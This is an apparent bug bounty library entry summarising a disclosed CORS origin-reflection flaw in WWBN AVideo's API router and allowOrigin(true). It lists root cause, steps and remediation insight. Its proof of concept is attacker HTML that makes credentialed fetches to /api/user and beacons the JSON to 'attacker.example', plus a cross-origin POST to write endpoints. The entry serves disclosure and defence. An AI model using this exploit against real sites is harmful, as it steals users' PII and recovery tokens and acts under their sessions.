# WWBN AVideo has a CORS Origin Reflection Bypass via plugin/API/router.php and allowOrigin(true) Exposes Authenticated API Responses

AVideo's incomplete CORS fix leaves router.php and allowOrigin(true) reflecting any Origin with credentials, letting attacker sites read authenticated API responses with PII.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: offset
- Disclosed: 2026-04-14
- CVE: CVE-2026-41057
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-ff5q-cc22-fgp4
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-ff5q-cc22-fgp4
- Tags: area:web domain:web impact:data-leak impact:pii-leak kind:research platform:ghsa sev:high tech:php technique:incomplete-fix technique:source-review vuln:access-control vuln:cors

**Target:** PHP web app API router and JSON endpoints
**Root cause:** plugin/API/router.php reflects any Origin (or Referer) verbatim before app code runs and exits on OPTIONS preflight, while get.json.php/set.json.php call allowOrigin(true) which reflects any origin with Access-Control-Allow-Credentials: true; commit 986e64aad only hardened the $allowAll=false path.
**Steps:**
1. Identify that all /api/* routes pass through plugin/API/router.php via .htaccess rules.
2. Note router.php lines 4-8 set `Access-Control-Allow-Origin: <attacker Origin>` unconditionally and OPTIONS exits at lines 14-18 before allowOrigin() runs.
3. Note get.json.php:12 and set.json.php:12 call `allowOrigin(true)`, whose functions.php:2773-2777 branch reflects origin with `Access-Control-Allow-Credentials: true`.
4. Host HTML on attacker domain running `fetch('https://target-avideo.example/api/user', {credentials:'include'})` and beacon the JSON to attacker server.
5. Victim visits page while logged in; browser sends session cookies, reflected ACAO+credentials permits reading, exfiltrating profile PII.
6. For write endpoints, send POST with `Content-Type: application/json` so OPTIONS preflight is answered by router.php reflection.
**How found:** Reporter reviewed the prior CORS fix commit 986e64aad and traced all code paths setting ACAO, finding router.php's independent handler and the untouched $allowAll=true branch in allowOrigin().
**Exploitation:** Attacker lures a logged-in AVideo user to a malicious page; credentialed cross-origin fetches to /api/user and /api/video return full user records (email, name, address, phone, isAdmin, recoverPass) and creator PII, exfiltrated via sendBeacon. Write endpoints allow state-changing requests with the victim's session.
**Escalation:** Read endpoints leak recoverPass token and admin status; write endpoints (set.json.php) extend to actions on behalf of the user.
**Insight:** When a CORS fix lands, grep every header('Access-Control-Allow-Origin') site and every early-exit router/preflight handler — fixes often harden only the default branch while a $allowAll-style flag or front-controller bypass still reflects origins.

## Proof of concept (copied exactly from the original report)

**Attacker HTML exfiltrating victim profile via CORS**

```
<html>
<body>
<h1>AVideo CORS PoC</h1>
<script>
// Exfiltrate victim's user profile (email, admin status, PII)
fetch('https://target-avideo.example/api/user', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  document.getElementById('result').textContent = JSON.stringify(data, null, 2);
  // Exfiltrate to attacker server
  navigator.sendBeacon('https://attacker.example/collect', JSON.stringify(data));
});
</script>
<pre id="result">Loading...</pre>
</body>
</html>
```

**Cross-origin POST to set endpoint**

```
fetch('https://target-avideo.example/api/SomeSetEndpoint', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({/* parameters */})
});
```

